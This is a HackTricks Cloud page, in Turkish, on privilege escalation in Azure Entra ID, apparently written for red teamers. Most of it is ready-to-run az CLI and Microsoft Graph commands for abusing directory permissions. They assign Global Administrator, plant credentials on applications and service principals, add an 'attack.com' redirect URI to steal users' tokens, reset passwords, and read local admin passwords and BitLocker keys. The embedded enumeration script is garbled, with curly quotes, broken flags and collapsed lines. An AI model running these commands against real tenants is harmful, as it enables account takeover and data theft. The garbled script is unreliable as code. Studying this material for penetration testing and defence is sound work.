Az - EntraID Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Note
Entra ID’deki yerleşik rollerde bulunan tüm ayrıntılı izinlerin özel rollerde kullanılmaya uygun olmadığını unutmayın.
Roller
Rol: Privileged Role Administrator
Bu rol, principal’lara roller atayabilmek ve rollere daha fazla izin verebilmek için gerekli ayrıntılı izinleri içerir. Her iki işlem de ayrıcalık yükseltmek için kötüye kullanılabilir.
- Bir kullanıcıya rol atamak:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Bir role daha fazla izin ekleyin:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Uygulamalar
microsoft.directory/applications/credentials/update
Bu, bir saldırganın mevcut uygulamalara kimlik bilgileri eklemesine (parolalar veya sertifikalar) olanak tanır. Uygulama ayrıcalıklı izinlere sahipse, saldırgan o uygulama olarak kimlik doğrulayabilir ve bu ayrıcalıkları elde edebilir.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Bu, applications/credentials/update ile aynı işlemlere izin verir, ancak tek dizinli uygulamalarla sınırlıdır.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Kendilerini owner olarak ekleyerek, bir saldırgan uygulamayı (kimlik bilgileri ve izinler dahil) manipüle edebilir.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Bir saldırgan, tenant içindeki kullanıcılar tarafından kullanılan uygulamalara bir redirect URI ekleyebilir ve ardından yeni redirect URL’sini kullanan oturum açma URL’lerini onlarla paylaşarak token’larını çalabilir. Kullanıcı zaten uygulamada oturum açmışsa, kimlik doğrulama kullanıcı herhangi bir şeyi onaylamasına gerek kalmadan otomatik olarak gerçekleşecektir.
Ayrıca uygulamanın daha fazla izin almak için talep ettiği permissions’ları değiştirmek de mümkündür; ancak bu durumda kullanıcı tüm izinleri isteyen istemi tekrar kabul etmek zorunda kalacaktır.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
Bu gönderide açıklandığı gibi varsayılan uygulamaların Entra ID kiracılarında Application türünde API permissions ile atanmış olmaları çok yaygındı. Entra ID konsolunda “API Permission” olarak adlandırılan, Application türünde bir API Permission, uygulamanın kullanıcı bağlamı olmadan (uygulamaya bir kullanıcı giriş yapmadan) API’ye erişip işlemler gerçekleştirmesine izin verir ve bunun için Entra ID rolleri gerekmez. Bu yüzden her Entra ID tenant’ında yüksek ayrıcalıklı uygulamalar bulmak çok yaygındır.
Eğer bir saldırganın uygulamanın kimlik bilgilerini (secret o certificate) güncellemesine izin veren herhangi bir izin/rolü varsa, saldırgan yeni bir kimlik bilgisi oluşturup bunu kullanarak uygulama olarak kimlik doğrulayabilir ve uygulamanın sahip olduğu tüm izinleri elde edebilir.
Bahsedilen blog bazı ortak Microsoft varsayılan uygulamalarının API permissions’larını paylaşıyordu; ancak bu rapordan bir süre sonra Microsoft bu sorunu düzeltti ve artık Microsoft uygulamaları olarak giriş yapmak mümkün değil. Yine de suistimal edilebilecek yüksek ayrıcalıklara sahip özel uygulamalar bulmak hâlâ mümkün.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Tüm uygulamaların API izinlerini bulun ve Microsoft tarafından sağlanan API'leri işaretleyin
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Bu, bir attacker'ın mevcut service principals'a credentials eklemesine izin verir. Eğer service principal elevated privileges'e sahipse, attacker bu privileges'ları üstlenebilir.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
Oluşturulan yeni parola web konsolunda görünmeyecek, bu yüzden bu, bir service principal üzerinde persistence sağlamak için gizli bir yol olabilir.
API üzerinden şu komutla bulunabilirler:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Eğer "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." hatasını alırsanız bunun nedeni passwordCredentials özelliğini değiştirmek mümkün değildir ve önce kilidini açmanız gerekir. Bunun için microsoft.directory/applications/allProperties/update iznine ihtiyacınız vardır; bu izin size şunu yürütme olanağı tanır:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Bu izin, bir saldırganın mevcut service principals içinde credentials eklemesine olanak tanır. Eğer ilgili service principal yüksek ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Uygulamalara benzer şekilde, bu izin bir service principal’a daha fazla sahip eklemeyi sağlar. Bir service principal’ın sahibi olmak, onun kimlik bilgileri ve izinleri üzerinde kontrol sağlar.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Yeni bir sahip ekledikten sonra onu kaldırmayı denedim, ancak API, sahibini silmek için kullanmanız gereken yöntem olmasına rağmen DELETE yönteminin desteklenmediğini belirtti. Yani artık sahipleri kaldıramıyorsunuz.
microsoft.directory/servicePrincipals/disable ve enable
Bu izinler service principals’ları devre dışı bırakmaya ve etkinleştirmeye izin verir. Bir saldırgan, bir şekilde erişim sağlayabileceği bir service principal’ı etkinleştirmek için bu izni kullanarak ayrıcalıkları yükseltebilir.
Bu teknik için saldırganın etkinleştirilen service principal’ı ele geçirmek amacıyla daha fazla izne ihtiyaç duyacağını unutmayın.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Bu izinler single sign-on için kimlik bilgileri oluşturup almaya izin verir; bu da üçüncü taraf uygulamalara erişim sağlayabilir.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Gruplar
microsoft.directory/groups/allProperties/update
Bu izin, ayrıcalıklı gruplara kullanıcı eklemeye izin verir; bu da privilege escalation ile sonuçlanır.
az ad group member add --group <GroupName> --member-id <UserId>
Not: Bu izin Entra ID role-assignable groups’larını kapsamaz.
microsoft.directory/groups/owners/update
Bu izin, grup sahibi olunmasına izin verir. Bir grubun sahibi, grup üyeliğini ve ayarlarını kontrol edebilir; bu da potansiyel olarak gruba privilege escalation sağlayabilir.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Not: Bu izin Entra ID role-assignable groups kapsamı dışındadır.
microsoft.directory/groups/members/update
Bu izin, bir gruba üye eklemeye olanak tanır. Bir saldırgan kendisini veya kötü niyetli hesapları ayrıcalıklı gruplara ekleyerek yetki yükseltmesi elde edebilir.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Bu izin dinamik bir gruptaki üyelik kuralını güncellemeye izin verir. Bir saldırgan dinamik kuralları değiştirerek kendini açıkça ekleme yapmadan ayrıcalıklı gruplara dahil edebilir.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Not: Bu izin Entra ID rol-atanabilir grupları hariç tutar.
Dynamic Groups Privesc
Kullanıcıların, kendi özelliklerini değiştirerek dynamic groups üyeleri olarak eklenmeye hak kazanıp escalate privileges elde etmeleri mümkün olabilir. Daha fazla bilgi için bakınız:
Kullanıcılar
microsoft.directory/users/password/update
Bu izin, admin olmayan kullanıcıların şifrelerini sıfırlamayı sağlar; bu da potansiyel bir saldırganın diğer kullanıcılara escalate privileges elde etmesine yol açabilir. Bu izin özel rollere atanamaz.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Bu yetki kullanıcının özelliklerini değiştirmesine izin verir. Özellik değerlerine göre kullanıcı ekleyen dinamik gruplar sıkça bulunduğundan, bu izin bir kullanıcının belirli bir dinamik grubun üyesi olmak için gereken özellik değerini ayarlamasına ve yetkilerini yükseltmesine olanak sağlayabilir.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
MFA gerektiren yanlış yapılandırılmış conditional access policies bypass edilebilir, incele:
Az - Conditional Access Policies & MFA Bypass
Cihazlar
microsoft.directory/devices/registeredOwners/update
Bu izin, saldırganların kendilerini cihazların sahibi olarak atamalarına ve cihazlara özgü ayarlara ve verilere erişim veya kontrol sağlamalarına olanak tanır.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Bu izin, attackers’ın hesaplarını cihazlarla ilişkilendirerek erişim elde etmelerini veya güvenlik politikalarını bypass etmelerini sağlar.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Bu izin, saldırganların Microsoft Entra’ya katılmış cihazlar için yedeklenmiş yerel yönetici hesabı kimlik bilgilerinin özelliklerini, password dahil olmak üzere, okumasına olanak tanır.
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Bu izin, BitLocker anahtarlarına erişime olanak tanır; bu da bir saldırganın sürücülerin şifresini çözmesine ve veri gizliliğini tehlikeye atmasına neden olabilir.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Diğer İlginç izinler (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

